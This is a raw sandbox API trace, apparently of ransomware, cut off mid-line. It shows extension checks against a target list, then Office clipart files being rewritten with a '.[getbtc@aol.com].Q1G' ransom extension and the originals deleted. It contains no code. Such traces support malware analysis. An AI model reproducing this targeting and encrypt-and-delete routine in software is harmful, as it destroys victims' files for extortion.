[0057.161] lstrlenW (lpString=".7z") returned 3 [0057.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString=".dbf") returned 4 [0057.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString=".1cd") returned 4 [0057.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString=".jpg") returned 4 [0057.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.162] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.162] lstrlenW (lpString="AN04332_.WMF") returned 12 [0057.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.162] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4296) returned 1 [0057.162] CloseHandle (hObject=0x168) returned 1 [0057.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0057.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.163] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.163] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.163] GetLastError () returned 0x0 [0057.163] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x10c8, lpOverlapped=0x0) returned 1 [0057.165] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0057.165] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.166] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.166] SetEndOfFile (hFile=0x22c) returned 1 [0057.166] CloseHandle (hObject=0x22c) returned 1 [0057.166] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.166] SetEndOfFile (hFile=0x168) returned 1 [0057.167] CloseHandle (hObject=0x168) returned 1 [0057.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0057.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.167] lstrlenW (lpString=".doc") returned 4 [0057.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.167] lstrlenW (lpString=".docx") returned 5 [0057.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.167] lstrlenW (lpString=".pdf") returned 4 [0057.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.167] lstrlenW (lpString=".xls") returned 4 [0057.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.167] lstrlenW (lpString=".xlsx") returned 5 [0057.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.167] lstrlenW (lpString=".ppt") returned 4 [0057.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".zip") returned 4 [0057.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.168] lstrlenW (lpString=".rar") returned 4 [0057.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString=".bz2") returned 4 [0057.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString=".7z") returned 3 [0057.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".dbf") returned 4 [0057.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".1cd") returned 4 [0057.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".jpg") returned 4 [0057.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".doc") returned 4 [0057.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString=".docx") returned 5 [0057.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.168] lstrlenW (lpString=".pdf") returned 4 [0057.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString=".xls") returned 4 [0057.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.168] lstrlenW (lpString=".xlsx") returned 5 [0057.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.168] lstrlenW (lpString=".ppt") returned 4 [0057.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.168] lstrlenW (lpString=".zip") returned 4 [0057.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.168] lstrlenW (lpString=".rar") returned 4 [0057.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.169] lstrlenW (lpString=".bz2") returned 4 [0057.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.169] lstrlenW (lpString=".7z") returned 3 [0057.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.169] lstrlenW (lpString=".dbf") returned 4 [0057.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.169] lstrlenW (lpString=".1cd") returned 4 [0057.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0057.169] lstrlenW (lpString=".jpg") returned 4 [0057.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.169] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.169] lstrlenW (lpString="AN04355_.WMF") returned 12 [0057.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.169] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3228) returned 1 [0057.169] CloseHandle (hObject=0x168) returned 1 [0057.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0057.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.170] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.170] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.170] GetLastError () returned 0x0 [0057.170] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0xc9c, lpOverlapped=0x0) returned 1 [0057.171] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xca0, lpOverlapped=0x0) returned 1 [0057.172] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.172] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.172] SetEndOfFile (hFile=0x22c) returned 1 [0057.172] CloseHandle (hObject=0x22c) returned 1 [0057.173] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.173] SetEndOfFile (hFile=0x168) returned 1 [0057.173] CloseHandle (hObject=0x168) returned 1 [0057.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.174] lstrlenW (lpString=".doc") returned 4 [0057.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.174] lstrlenW (lpString=".docx") returned 5 [0057.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.174] lstrlenW (lpString=".pdf") returned 4 [0057.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.174] lstrlenW (lpString=".xls") returned 4 [0057.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.174] lstrlenW (lpString=".xlsx") returned 5 [0057.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.174] lstrlenW (lpString=".ppt") returned 4 [0057.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.174] lstrlenW (lpString=".zip") returned 4 [0057.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.174] lstrlenW (lpString=".rar") returned 4 [0057.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.174] lstrlenW (lpString=".bz2") returned 4 [0057.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.174] lstrlenW (lpString=".7z") returned 3 [0057.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.174] lstrlenW (lpString=".dbf") returned 4 [0057.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString=".1cd") returned 4 [0057.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString=".jpg") returned 4 [0057.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString=".doc") returned 4 [0057.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString=".docx") returned 5 [0057.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.175] lstrlenW (lpString=".pdf") returned 4 [0057.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString=".xls") returned 4 [0057.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.175] lstrlenW (lpString=".xlsx") returned 5 [0057.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.175] lstrlenW (lpString=".ppt") returned 4 [0057.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString=".zip") returned 4 [0057.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.175] lstrlenW (lpString=".rar") returned 4 [0057.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString=".bz2") returned 4 [0057.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.175] lstrlenW (lpString=".7z") returned 3 [0057.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.175] lstrlenW (lpString=".dbf") returned 4 [0057.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.176] lstrlenW (lpString=".1cd") returned 4 [0057.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0057.176] lstrlenW (lpString=".jpg") returned 4 [0057.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.176] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.176] lstrlenW (lpString="AN04369_.WMF") returned 12 [0057.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.176] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4808) returned 1 [0057.176] CloseHandle (hObject=0x168) returned 1 [0057.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0057.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.176] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.177] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.177] GetLastError () returned 0x0 [0057.177] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x12c8, lpOverlapped=0x0) returned 1 [0057.178] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0057.179] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.179] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.179] SetEndOfFile (hFile=0x22c) returned 1 [0057.180] CloseHandle (hObject=0x22c) returned 1 [0057.180] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.180] SetEndOfFile (hFile=0x168) returned 1 [0057.181] CloseHandle (hObject=0x168) returned 1 [0057.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.181] lstrlenW (lpString=".doc") returned 4 [0057.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.181] lstrlenW (lpString=".docx") returned 5 [0057.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.181] lstrlenW (lpString=".pdf") returned 4 [0057.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.181] lstrlenW (lpString=".xls") returned 4 [0057.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.181] lstrlenW (lpString=".xlsx") returned 5 [0057.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.181] lstrlenW (lpString=".ppt") returned 4 [0057.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.181] lstrlenW (lpString=".zip") returned 4 [0057.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.181] lstrlenW (lpString=".rar") returned 4 [0057.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.181] lstrlenW (lpString=".bz2") returned 4 [0057.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString=".7z") returned 3 [0057.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".dbf") returned 4 [0057.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".1cd") returned 4 [0057.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".jpg") returned 4 [0057.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".doc") returned 4 [0057.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString=".docx") returned 5 [0057.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.182] lstrlenW (lpString=".pdf") returned 4 [0057.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString=".xls") returned 4 [0057.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.182] lstrlenW (lpString=".xlsx") returned 5 [0057.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.182] lstrlenW (lpString=".ppt") returned 4 [0057.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".zip") returned 4 [0057.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.182] lstrlenW (lpString=".rar") returned 4 [0057.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString=".bz2") returned 4 [0057.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.182] lstrlenW (lpString=".7z") returned 3 [0057.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.182] lstrlenW (lpString=".dbf") returned 4 [0057.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.183] lstrlenW (lpString=".1cd") returned 4 [0057.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0057.183] lstrlenW (lpString=".jpg") returned 4 [0057.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned 